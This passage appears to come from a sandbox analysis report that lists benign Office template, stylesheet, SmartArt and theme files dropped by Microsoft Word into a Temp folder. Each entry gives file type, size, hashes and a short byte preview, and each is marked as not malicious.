SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDC1F2.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCDC202.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC202.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCDC203.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC203.tmp\gostname.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCDC233.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC233.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCDC244.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC244.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCDC245.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC245.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCDC247.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC247.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCDC287.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDC287.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC2A8.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDC2A8.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCDC309.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
